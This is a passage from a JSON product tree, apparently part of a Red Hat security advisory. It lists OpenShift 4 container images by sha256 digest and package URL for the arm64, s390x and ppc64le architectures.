"purl": "pkg:oci/openshift/ose-machine-config-rhel9-operator@sha256%3A97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-machine-config-rhel9-operator\u0026tag=1781730955"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"product_id": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-os-images-rhel9@sha256%3A1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-machine-os-images-rhel9\u0026tag=1781139658"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"product": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"product_id": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/network-tools-rhel9@sha256%3Af2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/network-tools-rhel9\u0026tag=1781731686"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"product": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"product_id": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tools-rhel9@sha256%3A6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110?arch=arm64\u0026repository_url=registry.redhat.io/openshift4/ose-tools-rhel9\u0026tag=1781730156"
}
}
}
],
"category": "architecture",
"name": "arm64"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"product_id": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-node-tuning-rhel9-operator@sha256%3Ac25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator\u0026tag=1781206884"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"product": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"product_id": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/driver-toolkit-rhel9@sha256%3Ab96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/driver-toolkit-rhel9\u0026tag=1781294377"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"product_id": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-monitoring-plugin-rhel9@sha256%3A214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9\u0026tag=1781731914"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"product_id": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-networking-console-plugin-rhel9@sha256%3Aadb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9\u0026tag=1781718671"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"product_id": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-console-rhel9@sha256%3A6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-console-rhel9\u0026tag=1781732044"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"product_id": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-haproxy-router-rhel9@sha256%3A366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-haproxy-router-rhel9\u0026tag=1781552170"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"product_id": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tests-rhel9@sha256%3Af680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-tests-rhel9\u0026tag=1781731819"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-api-server-rhel9@sha256%3A323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9\u0026tag=1781688119"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-node-agent-rhel9@sha256%3A6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9\u0026tag=1781551608"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-utils-rhel9@sha256%3Ad0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9\u0026tag=1781625716"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"product_id": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-baremetal-installer-rhel9@sha256%3Aaf29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-baremetal-installer-rhel9\u0026tag=1781123187"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"product_id": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-config-api-rhel9@sha256%3A9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-config-api-rhel9\u0026tag=1781650723"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"product_id": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-ingress-rhel9-operator@sha256%3A09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator\u0026tag=1781567285"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"product_id": "registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-installer-rhel9@sha256%3A13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-installer-rhel9\u0026tag=1781129187"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"product_id": "registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-installer-artifacts-rhel9@sha256%3A6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-installer-artifacts-rhel9\u0026tag=1781129269"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"product_id": "registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-config-rhel9-operator@sha256%3A4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-machine-config-rhel9-operator\u0026tag=1781730955"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"product_id": "registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-machine-os-images-rhel9@sha256%3A37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-machine-os-images-rhel9\u0026tag=1781139658"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"product": {
"name": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"product_id": "registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/network-tools-rhel9@sha256%3Ab560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/network-tools-rhel9\u0026tag=1781731686"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"product": {
"name": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"product_id": "registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tools-rhel9@sha256%3A1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31?arch=s390x\u0026repository_url=registry.redhat.io/openshift4/ose-tools-rhel9\u0026tag=1781730156"
}
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-node-tuning-rhel9-operator@sha256%3A9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator\u0026tag=1781206884"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"product_id": "registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/driver-toolkit-rhel9@sha256%3Ae21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/driver-toolkit-rhel9\u0026tag=1781294377"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-monitoring-plugin-rhel9@sha256%3A9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9\u0026tag=1781731914"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-networking-console-plugin-rhel9@sha256%3A62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9\u0026tag=1781718671"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-console-rhel9@sha256%3A4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-console-rhel9\u0026tag=1781732044"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-haproxy-router-rhel9@sha256%3A1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-haproxy-router-rhel9\u0026tag=1781552170"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-tests-rhel9@sha256%3Ad9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-tests-rhel9\u0026tag=1781731819"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-api-server-rhel9@sha256%3A4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9\u0026tag=1781688119"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-node-agent-rhel9@sha256%3A9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9\u0026tag=1781551608"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-agent-installer-utils-rhel9@sha256%3Abd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9\u0026tag=1781625716"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-baremetal-installer-rhel9@sha256%3A98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-baremetal-installer-rhel9\u0026tag=1781123187"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"product_id": "registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"product_identification_helper": {
"purl": "pkg:oci/openshift/ose-cluster-config-api-rhel9@sha256%3Af879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca?arch=ppc64le\u0026repository_url=registry.redhat.io/openshift4/ose-cluster-config-api-rhel9\u0026tag=1781650723"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"product": {
"name": "registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
